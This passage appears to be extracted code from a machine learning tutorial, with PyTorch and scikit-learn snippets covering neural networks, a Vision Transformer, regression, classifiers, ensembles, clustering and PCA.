        self.bn = nn.BatchNorm2d(out_channels)
        self.relu = nn.ReLU()

    def forward(self, x):
        return self.relu(self.bn(self.conv(x)))

# Other normalization techniques
# Layer Normalization (better for RNNs/Transformers)
layer_norm = nn.LayerNorm(normalized_shape=[128])

# Group Normalization
group_norm = nn.GroupNorm(num_groups=8, num_channels=64)

# Instance Normalization (used in style transfer)
instance_norm = nn.InstanceNorm2d(num_features=64)

class PatchEmbedding(nn.Module):
    def __init__(self, img_size=224, patch_size=16, in_channels=3, embed_dim=768):
        super(PatchEmbedding, self).__init__()
        self.num_patches = (img_size // patch_size) ** 2
        self.proj = nn.Conv2d(in_channels, embed_dim, kernel_size=patch_size, stride=patch_size)

    def forward(self, x):
        x = self.proj(x)  # (B, embed_dim, H/P, W/P)
        x = x.flatten(2)  # (B, embed_dim, num_patches)
        x = x.transpose(1, 2)  # (B, num_patches, embed_dim)
        return x

class VisionTransformer(nn.Module):
    def __init__(self, img_size=224, patch_size=16, num_classes=1000, 
                 embed_dim=768, depth=12, num_heads=12):
        super(VisionTransformer, self).__init__()

        self.patch_embed = PatchEmbedding(img_size, patch_size, 3, embed_dim)
        num_patches = self.patch_embed.num_patches

        self.cls_token = nn.Parameter(torch.zeros(1, 1, embed_dim))
        self.pos_embed = nn.Parameter(torch.zeros(1, num_patches + 1, embed_dim))

        self.blocks = nn.ModuleList([
            TransformerBlock(embed_dim, num_heads, embed_dim * 4)
            for _ in range(depth)
        ])

        self.norm = nn.LayerNorm(embed_dim)
        self.head = nn.Linear(embed_dim, num_classes)

    def forward(self, x):
        B = x.shape[0]
        x = self.patch_embed(x)

        cls_tokens = self.cls_token.expand(B, -1, -1)
        x = torch.cat([cls_tokens, x], dim=1)
        x = x + self.pos_embed

        for block in self.blocks:
            x = block(x)

        x = self.norm(x)
        x = x[:, 0]  # Use cls token
        x = self.head(x)

        return x

# Mixed precision training
from torch.cuda.amp import autocast, GradScaler

scaler = GradScaler()

for epoch in range(num_epochs):
    for data, target in train_loader:
        optimizer.zero_grad()

        with autocast():
            output = model(data)
            loss = criterion(output, target)

        scaler.scale(loss).backward()
        scaler.step(optimizer)
        scaler.update()

Input Layer    Hidden Layers          Output Layer
     o              o                    o
     o              o                    o
     o              o                    o
     o              o
     o              o                    o
     o              o
   [n inputs]   [hidden units]   [output units]

x → w1 + b1 → activation → ... → output

1. Compute loss
2. Calculate gradients: ∂(loss)/∂(weights)
3. Update weights: w = w - learning_rate × gradient
4. Repeat

import torch
import torch.nn as nn
from torch.optim import Adam

# Define network
class NeuralNetwork(nn.Module):
    def __init__(self, input_size, hidden_size, output_size):
        super().__init__()
        self.fc1 = nn.Linear(input_size, hidden_size)
        self.relu = nn.ReLU()
        self.fc2 = nn.Linear(hidden_size, output_size)

    def forward(self, x):
        x = self.fc1(x)
        x = self.relu(x)
        x = self.fc2(x)
        return x

# Create network
model = NeuralNetwork(input_size=784, hidden_size=128, output_size=10)
criterion = nn.CrossEntropyLoss()
optimizer = Adam(model.parameters(), lr=0.001)

# Training loop
for epoch in range(10):
    for batch_x, batch_y in train_loader:
        # Forward pass
        outputs = model(batch_x)
        loss = criterion(outputs, batch_y)

        # Backward pass
        optimizer.zero_grad()
        loss.backward()
        optimizer.step()

# Normalize inputs
mean = X_train.mean()
std = X_train.std()
X_train = (X_train - mean) / std

# Stop if validation loss doesn't improve
if val_loss > best_loss:
    patience -= 1
    if patience == 0:
        break
best_loss = min(best_loss, val_loss)

# Decrease learning rate over time
scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.1)
for epoch in range(100):
    # train...
    scheduler.step()

import numpy as np
from sklearn.datasets import make_classification
from sklearn.model_selection import train_test_split
from sklearn.linear_model import LogisticRegression
from sklearn.metrics import accuracy_score, confusion_matrix, classification_report

# Generate synthetic data
X, y = make_classification(n_samples=1000, n_features=20, n_classes=2, random_state=42)
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)

# Train logistic regression
model = LogisticRegression(max_iter=1000)
model.fit(X_train, y_train)

# Predictions
y_pred = model.predict(X_test)
y_proba = model.predict_proba(X_test)

# Evaluation
print(f"Accuracy: {accuracy_score(y_test, y_pred):.4f}")
print("\nConfusion Matrix:")
print(confusion_matrix(y_test, y_pred))
print("\nClassification Report:")
print(classification_report(y_test, y_pred))

from sklearn.datasets import make_classification
from sklearn.ensemble import RandomForestClassifier

# Generate multi-class data
X, y = make_classification(
    n_samples=1000,
    n_features=20,
    n_classes=5,
    n_informative=15,
    random_state=42
)

X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

# Random Forest for multi-class
rf = RandomForestClassifier(n_estimators=100, random_state=42)
rf.fit(X_train, y_train)

# One-vs-Rest (OvR) strategy
from sklearn.multiclass import OneVsRestClassifier
from sklearn.svm import SVC

ovr = OneVsRestClassifier(SVC(kernel='rbf'))
ovr.fit(X_train, y_train)

# One-vs-One (OvO) strategy
from sklearn.multiclass import OneVsOneClassifier
ovo = OneVsOneClassifier(SVC(kernel='rbf'))
ovo.fit(X_train, y_train)

from imblearn.over_sampling import SMOTE, ADASYN
from imblearn.under_sampling import RandomUnderSampler, TomekLinks
from imblearn.combine import SMOTETomek
from sklearn.utils.class_weight import compute_class_weight

# SMOTE - Synthetic Minority Over-sampling Technique
smote = SMOTE(random_state=42)
X_resampled, y_resampled = smote.fit_resample(X_train, y_train)

# ADASYN - Adaptive Synthetic Sampling
adasyn = ADASYN(random_state=42)
X_resampled, y_resampled = adasyn.fit_resample(X_train, y_train)

# Combined approach
smote_tomek = SMOTETomek(random_state=42)
X_resampled, y_resampled = smote_tomek.fit_resample(X_train, y_train)

# Class weights
class_weights = compute_class_weight('balanced', classes=np.unique(y_train), y=y_train)
model = LogisticRegression(class_weight='balanced')
model.fit(X_train, y_train)

# Custom threshold
y_proba = model.predict_proba(X_test)[:, 1]
threshold = 0.3  # Lower threshold for minority class
y_pred_custom = (y_proba >= threshold).astype(int)

y = β₀ + β₁x₁ + β₂x₂ + ... + βₙxₙ + ε

from sklearn.linear_model import LinearRegression
from sklearn.datasets import make_regression
from sklearn.metrics import mean_squared_error, r2_score, mean_absolute_error

# Generate regression data
X, y = make_regression(n_samples=1000, n_features=10, noise=10, random_state=42)
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

# Train linear regression
lr = LinearRegression()
lr.fit(X_train, y_train)

# Predictions
y_pred = lr.predict(X_test)

# Evaluation
mse = mean_squared_error(y_test, y_pred)
rmse = np.sqrt(mse)
mae = mean_absolute_error(y_test, y_pred)
r2 = r2_score(y_test, y_pred)

print(f"RMSE: {rmse:.4f}")
print(f"MAE: {mae:.4f}")
print(f"R² Score: {r2:.4f}")

# Coefficients
print("\nCoefficients:", lr.coef_)
print("Intercept:", lr.intercept_)

from sklearn.preprocessing import PolynomialFeatures
from sklearn.pipeline import Pipeline

# Create polynomial features
poly_features = PolynomialFeatures(degree=3, include_bias=False)
X_poly = poly_features.fit_transform(X_train)

# Using Pipeline
poly_model = Pipeline([
    ('poly_features', PolynomialFeatures(degree=3)),
    ('linear_regression', LinearRegression())
])

poly_model.fit(X_train, y_train)
y_pred_poly = poly_model.predict(X_test)

# Compare with linear
from sklearn.metrics import mean_squared_error
print(f"Linear RMSE: {np.sqrt(mean_squared_error(y_test, y_pred)):.4f}")
print(f"Polynomial RMSE: {np.sqrt(mean_squared_error(y_test, y_pred_poly)):.4f}")

Loss = Σ(y - ŷ)² + λΣβ²

Loss = Σ(y - ŷ)² + λΣ|β|

Loss = Σ(y - ŷ)² + λ₁Σ|β| + λ₂Σβ²

from sklearn.linear_model import Ridge, Lasso, ElasticNet, LassoCV, RidgeCV

# Ridge Regression
ridge = Ridge(alpha=1.0)
ridge.fit(X_train, y_train)
y_pred_ridge = ridge.predict(X_test)

# Lasso Regression (feature selection)
lasso = Lasso(alpha=0.1)
lasso.fit(X_train, y_train)
y_pred_lasso = lasso.predict(X_test)

# Check which features were selected by Lasso
feature_importance = np.abs(lasso.coef_)
selected_features = np.where(feature_importance > 0)[0]
print(f"Selected features: {selected_features}")

# Elastic Net
elastic = ElasticNet(alpha=0.1, l1_ratio=0.5)
elastic.fit(X_train, y_train)

# Cross-validated alpha selection
ridge_cv = RidgeCV(alphas=[0.1, 1.0, 10.0, 100.0])
ridge_cv.fit(X_train, y_train)
print(f"Best alpha: {ridge_cv.alpha_}")

lasso_cv = LassoCV(alphas=[0.01, 0.1, 1.0, 10.0], cv=5)
lasso_cv.fit(X_train, y_train)
print(f"Best alpha: {lasso_cv.alpha_}")

P(y=1|x) = 1 / (1 + e^(-z))
where z = β₀ + β₁x₁ + ... + βₙxₙ

from sklearn.linear_model import LogisticRegression

# Binary classification
log_reg = LogisticRegression(
    penalty='l2',
    C=1.0,  # Inverse of regularization strength
    solver='lbfgs',
    max_iter=1000
)
log_reg.fit(X_train, y_train)

# Get probabilities
probabilities = log_reg.predict_proba(X_test)
print("Class probabilities shape:", probabilities.shape)

# Decision boundary
decision_scores = log_reg.decision_function(X_test)
print("Decision scores shape:", decision_scores.shape)

# Multi-class logistic regression
multi_log_reg = LogisticRegression(multi_class='multinomial', solver='lbfgs')
multi_log_reg.fit(X_train, y_train)

from sklearn.linear_model import Perceptron

# Simple perceptron
perceptron = Perceptron(max_iter=1000, tol=1e-3, random_state=42)
perceptron.fit(X_train, y_train)
y_pred = perceptron.predict(X_test)

# Custom perceptron implementation
class CustomPerceptron:
    def __init__(self, learning_rate=0.01, n_iterations=1000):
        self.lr = learning_rate
        self.n_iterations = n_iterations
        self.weights = None
        self.bias = None

    def fit(self, X, y):
        n_samples, n_features = X.shape
        self.weights = np.zeros(n_features)
        self.bias = 0

        # Convert labels to -1 and 1
        y_ = np.where(y <= 0, -1, 1)

        for _ in range(self.n_iterations):
            for idx, x_i in enumerate(X):
                linear_output = np.dot(x_i, self.weights) + self.bias
                y_predicted = np.sign(linear_output)

                # Update weights if misclassified
                update = self.lr * (y_[idx] - y_predicted)
                self.weights += update * x_i
                self.bias += update

    def predict(self, X):
        linear_output = np.dot(X, self.weights) + self.bias
        return np.sign(linear_output)

# Train custom perceptron
custom_perc = CustomPerceptron()
custom_perc.fit(X_train, y_train)

from sklearn.tree import DecisionTreeClassifier, DecisionTreeRegressor
from sklearn.tree import export_graphviz
import graphviz

# Classification tree
dt_clf = DecisionTreeClassifier(
    max_depth=5,
    min_samples_split=10,
    min_samples_leaf=5,
    criterion='gini'  # or 'entropy'
)
dt_clf.fit(X_train, y_train)

# Regression tree
dt_reg = DecisionTreeRegressor(
    max_depth=5,
    min_samples_split=10,
    min_samples_leaf=5
)
dt_reg.fit(X_train, y_train)

# Feature importance
importances = dt_clf.feature_importances_
indices = np.argsort(importances)[::-1]
print("Feature ranking:")
for i in range(min(10, len(indices))):
    print(f"{i+1}. Feature {indices[i]} ({importances[indices[i]]:.4f})")

# Visualize tree
dot_data = export_graphviz(
    dt_clf,
    out_file=None,
    feature_names=[f'feature_{i}' for i in range(X_train.shape[1])],
    class_names=['class_0', 'class_1'],
    filled=True,
    rounded=True
)
# graph = graphviz.Source(dot_data)

from sklearn.ensemble import RandomForestClassifier, RandomForestRegressor

# Random Forest Classifier
rf_clf = RandomForestClassifier(
    n_estimators=100,
    max_depth=10,
    min_samples_split=10,
    min_samples_leaf=4,
    max_features='sqrt',  # or 'log2', None
    bootstrap=True,
    oob_score=True,  # Out-of-bag score
    n_jobs=-1,
    random_state=42
)
rf_clf.fit(X_train, y_train)

# Out-of-bag score
print(f"OOB Score: {rf_clf.oob_score_:.4f}")

# Random Forest Regressor
rf_reg = RandomForestRegressor(
    n_estimators=100,
    max_depth=10,
    n_jobs=-1,
    random_state=42
)
rf_reg.fit(X_train, y_train)

# Feature importance
feature_importance = pd.DataFrame({
    'feature': [f'feature_{i}' for i in range(X_train.shape[1])],
    'importance': rf_clf.feature_importances_
}).sort_values('importance', ascending=False)
print(feature_importance.head(10))

from sklearn.ensemble import GradientBoostingClassifier, GradientBoostingRegressor

# Gradient Boosting Classifier
gb_clf = GradientBoostingClassifier(
    n_estimators=100,
    learning_rate=0.1,
    max_depth=3,
    subsample=0.8,
    random_state=42
)
gb_clf.fit(X_train, y_train)

# Gradient Boosting Regressor
gb_reg = GradientBoostingRegressor(
    n_estimators=100,
    learning_rate=0.1,
    max_depth=3,
    random_state=42
)
gb_reg.fit(X_train, y_train)

# Feature importance
print("Feature importances:", gb_clf.feature_importances_)

import xgboost as xgb
from xgboost import XGBClassifier, XGBRegressor

# XGBoost Classifier
xgb_clf = XGBClassifier(
    n_estimators=100,
    max_depth=6,
    learning_rate=0.1,
    subsample=0.8,
    colsample_bytree=0.8,
    objective='binary:logistic',
    random_state=42
)
xgb_clf.fit(X_train, y_train)

# XGBoost Regressor
xgb_reg = XGBRegressor(
    n_estimators=100,
    max_depth=6,
    learning_rate=0.1,
    subsample=0.8,
    colsample_bytree=0.8,
    random_state=42
)
xgb_reg.fit(X_train, y_train)

# Using DMatrix for better performance
dtrain = xgb.DMatrix(X_train, label=y_train)
dtest = xgb.DMatrix(X_test, label=y_test)

params = {
    'max_depth': 6,
    'eta': 0.1,
    'objective': 'binary:logistic',
    'eval_metric': 'auc'
}

# Train with early stopping
evals = [(dtrain, 'train'), (dtest, 'test')]
bst = xgb.train(
    params,
    dtrain,
    num_boost_round=1000,
    evals=evals,
    early_stopping_rounds=50,
    verbose_eval=False
)

# Predictions
y_pred_proba = bst.predict(dtest)

import lightgbm as lgb

# LightGBM Classifier
lgb_clf = lgb.LGBMClassifier(
    n_estimators=100,
    max_depth=6,
    learning_rate=0.1,
    num_leaves=31,
    subsample=0.8,
    colsample_bytree=0.8,
    random_state=42
)
lgb_clf.fit(X_train, y_train)

# Using Dataset for better performance
train_data = lgb.Dataset(X_train, label=y_train)
test_data = lgb.Dataset(X_test, label=y_test, reference=train_data)

params = {
    'objective': 'binary',
    'metric': 'auc',
    'num_leaves': 31,
    'learning_rate': 0.1,
    'feature_fraction': 0.8,
    'bagging_fraction': 0.8,
    'bagging_freq': 5
}

# Train
gbm = lgb.train(
    params,
    train_data,
    num_boost_round=1000,
    valid_sets=[test_data],
    callbacks=[lgb.early_stopping(stopping_rounds=50)]
)

Minimize: (1/2)||w||² + C·Σξᵢ
Subject to: yᵢ(w·xᵢ + b) ≥ 1 - ξᵢ, ξᵢ ≥ 0

from sklearn.svm import SVC, LinearSVC

# Linear SVM
linear_svm = LinearSVC(C=1.0, max_iter=10000)
linear_svm.fit(X_train, y_train)

# SVC with linear kernel
svc_linear = SVC(kernel='linear', C=1.0)
svc_linear.fit(X_train, y_train)

# RBF (Radial Basis Function) kernel
svc_rbf = SVC(kernel='rbf', C=1.0, gamma='scale')
svc_rbf.fit(X_train, y_train)

# Polynomial kernel
svc_poly = SVC(kernel='poly', degree=3, C=1.0)
svc_poly.fit(X_train, y_train)

# Sigmoid kernel
svc_sigmoid = SVC(kernel='sigmoid', C=1.0)
svc_sigmoid.fit(X_train, y_train)

# Custom kernel
def custom_kernel(X, Y):
    return np.dot(X, Y.T)

svc_custom = SVC(kernel=custom_kernel)
svc_custom.fit(X_train, y_train)

from sklearn.svm import SVR

# Support Vector Regression
svr = SVR(kernel='rbf', C=1.0, epsilon=0.1)
svr.fit(X_train, y_train)
y_pred_svr = svr.predict(X_test)

# Linear SVR
from sklearn.svm import LinearSVR
linear_svr = LinearSVR(epsilon=0.1, C=1.0)
linear_svr.fit(X_train, y_train)

from sklearn.ensemble import BaggingClassifier, BaggingRegressor
from sklearn.tree import DecisionTreeClassifier

# Bagging with decision trees
bagging_clf = BaggingClassifier(
    base_estimator=DecisionTreeClassifier(),
    n_estimators=100,
    max_samples=0.8,
    max_features=0.8,
    bootstrap=True,
    oob_score=True,
    n_jobs=-1,
    random_state=42
)
bagging_clf.fit(X_train, y_train)
print(f"OOB Score: {bagging_clf.oob_score_:.4f}")

from sklearn.ensemble import AdaBoostClassifier, AdaBoostRegressor

# AdaBoost Classifier
ada_clf = AdaBoostClassifier(
    base_estimator=DecisionTreeClassifier(max_depth=1),
    n_estimators=100,
    learning_rate=1.0,
    random_state=42
)
ada_clf.fit(X_train, y_train)

# AdaBoost Regressor
ada_reg = AdaBoostRegressor(
    base_estimator=DecisionTreeRegressor(max_depth=3),
    n_estimators=100,
    learning_rate=1.0,
    random_state=42
)
ada_reg.fit(X_train, y_train)

from sklearn.ensemble import StackingClassifier, StackingRegressor
from sklearn.linear_model import LogisticRegression
from sklearn.tree import DecisionTreeClassifier
from sklearn.svm import SVC
from sklearn.naive_bayes import GaussianNB

# Define base models
base_models = [
    ('lr', LogisticRegression()),
    ('dt', DecisionTreeClassifier()),
    ('svc', SVC(probability=True)),
    ('nb', GaussianNB())
]

# Stacking Classifier
stacking_clf = StackingClassifier(
    estimators=base_models,
    final_estimator=LogisticRegression(),
    cv=5
)
stacking_clf.fit(X_train, y_train)

# Stacking Regressor
from sklearn.linear_model import Ridge, Lasso
from sklearn.tree import DecisionTreeRegressor

reg_base_models = [
    ('ridge', Ridge()),
    ('lasso', Lasso()),
    ('dt', DecisionTreeRegressor())
]

stacking_reg = StackingRegressor(
    estimators=reg_base_models,
    final_estimator=Ridge(),
    cv=5
)
stacking_reg.fit(X_train, y_train)

from sklearn.ensemble import VotingClassifier, VotingRegressor

# Hard voting
voting_clf_hard = VotingClassifier(
    estimators=base_models,
    voting='hard'
)
voting_clf_hard.fit(X_train, y_train)

# Soft voting (uses predicted probabilities)
voting_clf_soft = VotingClassifier(
    estimators=base_models,
    voting='soft'
)
voting_clf_soft.fit(X_train, y_train)

# Voting Regressor
voting_reg = VotingRegressor(estimators=reg_base_models)
voting_reg.fit(X_train, y_train)

P(y|x₁,...,xₙ) = P(y)·P(x₁,...,xₙ|y) / P(x₁,...,xₙ)

from sklearn.naive_bayes import GaussianNB

# Gaussian NB (assumes features follow normal distribution)
gnb = GaussianNB()
gnb.fit(X_train, y_train)
y_pred = gnb.predict(X_test)
y_proba = gnb.predict_proba(X_test)

from sklearn.naive_bayes import MultinomialNB
from sklearn.feature_extraction.text import CountVectorizer

# Example with text data
texts = ["I love this", "This is bad", "Great product", "Terrible experience"]
labels = [1, 0, 1, 0]

vectorizer = CountVectorizer()
X_text = vectorizer.fit_transform(texts)

mnb = MultinomialNB(alpha=1.0)
mnb.fit(X_text, labels)

from sklearn.naive_bayes import BernoulliNB

# Bernoulli NB (for binary/boolean features)
bnb = BernoulliNB(alpha=1.0)
bnb.fit(X_train, y_train)

from sklearn.neighbors import KNeighborsClassifier, KNeighborsRegressor

# KNN Classifier
knn_clf = KNeighborsClassifier(
    n_neighbors=5,
    weights='uniform',  # or 'distance'
    algorithm='auto',  # 'ball_tree', 'kd_tree', 'brute'
    metric='minkowski',
    p=2  # p=2 for Euclidean, p=1 for Manhattan
)
knn_clf.fit(X_train, y_train)

# Distance-weighted KNN
knn_weighted = KNeighborsClassifier(n_neighbors=5, weights='distance')
knn_weighted.fit(X_train, y_train)

# KNN Regressor
knn_reg = KNeighborsRegressor(n_neighbors=5, weights='distance')
knn_reg.fit(X_train, y_train)

# Find optimal k
from sklearn.model_selection import cross_val_score

k_range = range(1, 31)
k_scores = []
for k in k_range:
    knn = KNeighborsClassifier(n_neighbors=k)
    scores = cross_val_score(knn, X_train, y_train, cv=5, scoring='accuracy')
    k_scores.append(scores.mean())

optimal_k = k_range[np.argmax(k_scores)]
print(f"Optimal k: {optimal_k}")

from sklearn.model_selection import cross_validate
import pandas as pd

# Define models to compare
models = {
    'Logistic Regression': LogisticRegression(),
    'Decision Tree': DecisionTreeClassifier(),
    'Random Forest': RandomForestClassifier(),
    'SVM': SVC(),
    'KNN': KNeighborsClassifier(),
    'Naive Bayes': GaussianNB(),
    'XGBoost': XGBClassifier()
}

# Compare models
results = []
for name, model in models.items():
    cv_results = cross_validate(
        model, X_train, y_train,
        cv=5,
        scoring=['accuracy', 'precision', 'recall', 'f1'],
        return_train_score=True
    )

    results.append({
        'Model': name,
        'Train Accuracy': cv_results['train_accuracy'].mean(),
        'Test Accuracy': cv_results['test_accuracy'].mean(),
        'Precision': cv_results['test_precision'].mean(),
        'Recall': cv_results['test_recall'].mean(),
        'F1': cv_results['test_f1'].mean()
    })

# Display results
comparison_df = pd.DataFrame(results)
comparison_df = comparison_df.sort_values('Test Accuracy', ascending=False)
print(comparison_df)

from sklearn.preprocessing import StandardScaler, MinMaxScaler
from sklearn.impute import SimpleImputer

# Handle missing values
imputer = SimpleImputer(strategy='mean')  # or 'median', 'most_frequent'
X_imputed = imputer.fit_transform(X)

# Feature scaling (important for SVM, KNN, Neural Networks)
scaler = StandardScaler()
X_scaled = scaler.fit_transform(X_train)
X_test_scaled = scaler.transform(X_test)

from sklearn.feature_selection import SelectKBest, f_classif, RFE

# Univariate selection
selector = SelectKBest(f_classif, k=10)
X_selected = selector.fit_transform(X_train, y_train)

# Recursive Feature Elimination
rfe = RFE(estimator=RandomForestClassifier(), n_features_to_select=10)
X_rfe = rfe.fit_transform(X_train, y_train)

from sklearn.pipeline import Pipeline
from sklearn.preprocessing import StandardScaler
from sklearn.decomposition import PCA

# Create pipeline
pipe = Pipeline([
    ('scaler', StandardScaler()),
    ('pca', PCA(n_components=10)),
    ('classifier', LogisticRegression())
])

pipe.fit(X_train, y_train)
y_pred = pipe.predict(X_test)

from sklearn.model_selection import GridSearchCV, RandomizedSearchCV

# Grid search
param_grid = {
    'C': [0.1, 1, 10],
    'kernel': ['rbf', 'linear'],
    'gamma': ['scale', 'auto']
}

grid_search = GridSearchCV(SVC(), param_grid, cv=5, scoring='accuracy')
grid_search.fit(X_train, y_train)
print(f"Best parameters: {grid_search.best_params_}")

import numpy as np
import matplotlib.pyplot as plt
from sklearn.cluster import KMeans
from sklearn.datasets import make_blobs

# Generate synthetic data
X, y_true = make_blobs(n_samples=300, centers=4, cluster_std=0.6, random_state=42)

# K-Means clustering
kmeans = KMeans(n_clusters=4, random_state=42, n_init=10)
kmeans.fit(X)

# Predictions
y_pred = kmeans.predict(X)
centers = kmeans.cluster_centers_

# Visualization
plt.figure(figsize=(10, 6))
plt.scatter(X[:, 0], X[:, 1], c=y_pred, cmap='viridis', alpha=0.6)
plt.scatter(centers[:, 0], centers[:, 1], c='red', marker='X', s=200, edgecolors='black')
plt.title('K-Means Clustering')
plt.xlabel('Feature 1')
plt.ylabel('Feature 2')
plt.show()

# Cluster characteristics
print(f"Cluster centers:\n{centers}")
print(f"Inertia (sum of squared distances): {kmeans.inertia_:.2f}")

from sklearn.metrics import silhouette_score

# Elbow method
inertias = []
silhouettes = []
K_range = range(2, 11)

for k in K_range:
    kmeans = KMeans(n_clusters=k, random_state=42, n_init=10)
    kmeans.fit(X)
    inertias.append(kmeans.inertia_)
    silhouettes.append(silhouette_score(X, kmeans.labels_))

# Plot elbow curve
fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(15, 5))

ax1.plot(K_range, inertias, 'bo-')
ax1.set_xlabel('Number of clusters (k)')
ax1.set_ylabel('Inertia')
ax1.set_title('Elbow Method')
ax1.grid(True)

ax2.plot(K_range, silhouettes, 'ro-')
ax2.set_xlabel('Number of clusters (k)')
ax2.set_ylabel('Silhouette Score')
ax2.set_title('Silhouette Analysis')
ax2.grid(True)

plt.tight_layout()
plt.show()

# K-Means++ (default in scikit-learn)
kmeans_plus = KMeans(n_clusters=4, init='k-means++', random_state=42)
kmeans_plus.fit(X)

# Mini-batch K-Means (faster for large datasets)
from sklearn.cluster import MiniBatchKMeans

mini_kmeans = MiniBatchKMeans(n_clusters=4, random_state=42, batch_size=100)
mini_kmeans.fit(X)

from sklearn.cluster import AgglomerativeClustering
from scipy.cluster.hierarchy import dendrogram, linkage
from scipy.spatial.distance import pdist

# Agglomerative clustering
agg_clustering = AgglomerativeClustering(
    n_clusters=4,
    linkage='ward'  # 'complete', 'average', 'single'
)
y_pred_agg = agg_clustering.fit_predict(X)

# Create dendrogram
Z = linkage(X, method='ward')
plt.figure(figsize=(12, 6))
dendrogram(Z)
plt.title('Hierarchical Clustering Dendrogram')
plt.xlabel('Sample Index')
plt.ylabel('Distance')
plt.show()

# Different linkage methods
linkage_methods = ['ward', 'complete', 'average', 'single']
for method in linkage_methods:
    agg = AgglomerativeClustering(n_clusters=4, linkage=method)
    labels = agg.fit_predict(X)
    print(f"{method.capitalize()} linkage - Silhouette: {silhouette_score(X, labels):.3f}")

from sklearn.cluster import DBSCAN

# DBSCAN
dbscan = DBSCAN(eps=0.5, min_samples=5)
y_pred_dbscan = dbscan.fit_predict(X)

# Number of clusters (excluding noise points labeled as -1)
n_clusters = len(set(y_pred_dbscan)) - (1 if -1 in y_pred_dbscan else 0)
n_noise = list(y_pred_dbscan).count(-1)

print(f"Number of clusters: {n_clusters}")
print(f"Number of noise points: {n_noise}")

# Visualization
plt.figure(figsize=(10, 6))
unique_labels = set(y_pred_dbscan)
colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))]

for k, col in zip(unique_labels, colors):
    if k == -1:
        col = [0, 0, 0, 1]  # Black for noise

    class_member_mask = (y_pred_dbscan == k)
    xy = X[class_member_mask]
    plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col),
             markeredgecolor='k', markersize=6)

plt.title(f'DBSCAN Clustering\n{n_clusters} clusters, {n_noise} noise points')
plt.show()

# Grid search for optimal parameters
from sklearn.model_selection import ParameterGrid

param_grid = {
    'eps': [0.3, 0.5, 0.7, 1.0],
    'min_samples': [3, 5, 10]
}

best_score = -1
best_params = None

for params in ParameterGrid(param_grid):
    dbscan = DBSCAN(**params)
    labels = dbscan.fit_predict(X)

    # Skip if all points are noise or only one cluster
    if len(set(labels)) <= 1:
        continue

    score = silhouette_score(X, labels)
    if score > best_score:
        best_score = score
        best_params = params

print(f"Best parameters: {best_params}")
print(f"Best silhouette score: {best_score:.3f}")

# pip install hdbscan
import hdbscan

# HDBSCAN
clusterer = hdbscan.HDBSCAN(min_cluster_size=5, min_samples=3)
y_pred_hdbscan = clusterer.fit_predict(X)

# Cluster probabilities
probabilities = clusterer.probabilities_

print(f"Number of clusters: {len(set(y_pred_hdbscan)) - (1 if -1 in y_pred_hdbscan else 0)}")
print(f"Noise points: {list(y_pred_hdbscan).count(-1)}")

from sklearn.mixture import GaussianMixture

# Gaussian Mixture Model
gmm = GaussianMixture(
    n_components=4,
    covariance_type='full',  # 'tied', 'diag', 'spherical'
    random_state=42
)
gmm.fit(X)

# Predictions (hard clustering)
y_pred_gmm = gmm.predict(X)

# Soft clustering (probabilities)
probabilities = gmm.predict_proba(X)
print("Shape of probabilities:", probabilities.shape)

# Model parameters
print(f"Means:\n{gmm.means_}")
print(f"Covariances shape: {gmm.covariances_.shape}")
print(f"Weights: {gmm.weights_}")

# Bayesian Information Criterion (BIC) for model selection
n_components_range = range(2, 11)
bic_scores = []
aic_scores = []

for n_components in n_components_range:
    gmm = GaussianMixture(n_components=n_components, random_state=42)
    gmm.fit(X)
    bic_scores.append(gmm.bic(X))
    aic_scores.append(gmm.aic(X))

plt.figure(figsize=(10, 6))
plt.plot(n_components_range, bic_scores, 'bo-', label='BIC')
plt.plot(n_components_range, aic_scores, 'rs-', label='AIC')
plt.xlabel('Number of components')
plt.ylabel('Information Criterion')
plt.title('GMM Model Selection')
plt.legend()
plt.grid(True)
plt.show()

optimal_components = n_components_range[np.argmin(bic_scores)]
print(f"Optimal number of components: {optimal_components}")

from sklearn.cluster import MeanShift, estimate_bandwidth

# Estimate bandwidth
bandwidth = estimate_bandwidth(X, quantile=0.2, n_samples=500)

# Mean Shift clustering
ms = MeanShift(bandwidth=bandwidth, bin_seeding=True)
ms.fit(X)
y_pred_ms = ms.labels_
cluster_centers = ms.cluster_centers_

n_clusters = len(np.unique(y_pred_ms))
print(f"Number of clusters: {n_clusters}")

from sklearn.cluster import SpectralClustering

# Spectral clustering
spectral = SpectralClustering(
    n_clusters=4,
    affinity='rbf',  # 'nearest_neighbors', 'precomputed'
    assign_labels='discretize',  # 'kmeans'
    random_state=42
)
y_pred_spectral = spectral.fit_predict(X)

# Custom affinity matrix
from sklearn.metrics.pairwise import rbf_kernel
affinity_matrix = rbf_kernel(X, gamma=1.0)
spectral_custom = SpectralClustering(n_clusters=4, affinity='precomputed')
y_pred_spectral_custom = spectral_custom.fit_predict(affinity_matrix)

Maximize: Var(Xw) subject to ||w|| = 1

from sklearn.decomposition import PCA
from sklearn.datasets import load_digits

# Load high-dimensional data
digits = load_digits()
X = digits.data  # 64 features (8x8 images)
y = digits.target

# PCA
pca = PCA(n_components=2)
X_pca = pca.fit_transform(X)

# Explained variance
print(f"Explained variance ratio: {pca.explained_variance_ratio_}")
print(f"Total explained variance: {pca.explained_variance_ratio_.sum():.3f}")

# Visualization
plt.figure(figsize=(10, 6))
scatter = plt.scatter(X_pca[:, 0], X_pca[:, 1], c=y, cmap='tab10', alpha=0.6)
plt.colorbar(scatter)
plt.xlabel(f'PC1 ({pca.explained_variance_ratio_[0]:.2%} variance)')
plt.ylabel(f'PC2 ({pca.explained_variance_ratio_[1]:.2%} variance)')
plt.title('PCA of Digits Dataset')
plt.show()

# Determine number of components
pca_full = PCA()
pca_full.fit(X)

# Cumulative explained variance
cumsum_var = np.cumsum(pca_full.explained_variance_ratio_)
n_components_95 = np.argmax(cumsum_var >= 0.95) + 1

plt.figure(figsize=(10, 6))
plt.plot(range(1, len(cumsum_var) + 1), cumsum_var, 'bo-')
plt.axhline(y=0.95, color='r', linestyle='--', label='95% variance')
plt.axvline(x=n_components_95, color='g', linestyle='--', 
            label=f'{n_components_95} components')
plt.xlabel('Number of Components')
plt.ylabel('Cumulative Explained Variance')
plt.title('PCA Explained Variance')
plt.legend()
